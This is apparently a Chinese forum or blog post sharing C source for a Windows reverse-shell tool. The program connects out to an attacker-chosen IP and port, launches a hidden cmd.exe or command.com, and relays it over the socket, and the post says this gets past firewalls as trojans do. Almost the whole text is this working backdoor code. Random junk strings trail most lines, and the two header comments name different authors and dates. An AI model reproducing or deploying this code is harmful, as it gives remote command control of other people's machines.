这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?X5Y8n]y\h
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/* ============================== 6l,oL'$}P1
Rebound port in Windows NT .QVZ!
By wind,2006/7 ~]LkQQ'
===============================*/ 8\])p sb9
#include 6tKCY(#oO+
#include >jH%n(TcC
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#pragma comment(lib,"wsock32.lib") ?Ja&LNI9S
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void OutputShell(); =/zb$d cz
SOCKET sClient; &w"1VOV<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lwj,8
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void main(int argc,char **argv) /ij)[WK@
{ M>LgEc-v67
WSADATA stWsaData;
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int nRet; ;I@@PUnR
SOCKADDR_IN stSaiClient,stSaiServer; h#o?O k
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if(argc != 3) guc[du
{ [:*Jn}
printf("Useage:\n\rRebound DestIP DestPort\n"); 8AgKK=C=
return; 6xq/
} jSc!"Trl]
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WSAStartup(MAKEWORD(2,2),&stWsaData); qOM" ?av
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oTLA&dy@
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stSaiClient.sin_family = AF_INET; RW I7eC
stSaiClient.sin_port = htons(0); #ssSs]zl
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *47',Qy
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ yuA+YZ
printf("Bind Socket Failed!\n"); TcEvUZJ"
return; x_VD9
} yNc"E
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stSaiServer.sin_family = AF_INET; mA2L~=v#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yDe6f(D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r)xkpa5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) RF$2p4=[
{ sjIUW$
printf("Connect Error!"); .,+TpPkc
return; &'KJh+jJ
} r=74'g
OutputShell(); (u:^4,Z
} g*]/HS>e<G
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void OutputShell() hw9qnSeRy
{ :plN<8
char szBuff[1024]; 4Fs5@@>X
SECURITY_ATTRIBUTES stSecurityAttributes; RM|2PG1m
OSVERSIONINFO stOsversionInfo; l>){cI/D#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R q
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STARTUPINFO stStartupInfo; {Uj-x
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char *szShell; )F,IPAA#
PROCESS_INFORMATION stProcessInformation; nkTpUbS'f?
unsigned long lBytesRead; u(W+hdTap=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2>+(OL4l
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eg Xbe)ld
stSecurityAttributes.lpSecurityDescriptor = 0; [Zxv&$SQ
stSecurityAttributes.bInheritHandle = TRUE; 'L$}!H1y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xP+`scv*m#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *l{GD1ZDk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0Fc^c[
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0ub0[A
stStartupInfo.wShowWindow = SW_HIDE; 0aM&+j\q}
stStartupInfo.hStdInput = hReadPipe; ^Iy'G44
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ATzFs]~K;
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GetVersionEx(&stOsversionInfo); ic;M=dsh:
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switch(stOsversionInfo.dwPlatformId) zN3b`K. i
{ X%rsa7H3J
case 1: euiP<[|h=
szShell = "command.com"; n4sO#p)'
break; r?2EJE2{V
default: ;k|U2ajFJ
szShell = "cmd.exe"; D8 BmC
break; {3`cSm6c
} SE<?l
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aDZ,9}
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send(sClient,szMsg,77,0); AEd]nVV Q
while(1) ?RQ_LA;
{ C2} f'
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4H4ui&|7u6
if(lBytesRead) ;_p$5GVR|
{ w&[&ZDsK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yQ!I`T>a
send(sClient,szBuff,lBytesRead,0); c]%~X&Tg`
} w<&R|= 93
else urhOvC$a
{ A@<a')#>)
lBytesRead=recv(sClient,szBuff,1024,0); ?Gqq]ozm
if(lBytesRead<=0) break; CuT50N;tk
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 38#Zlcf
} {&ykpu090
} l=PZlH
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return; nq5qUErew
}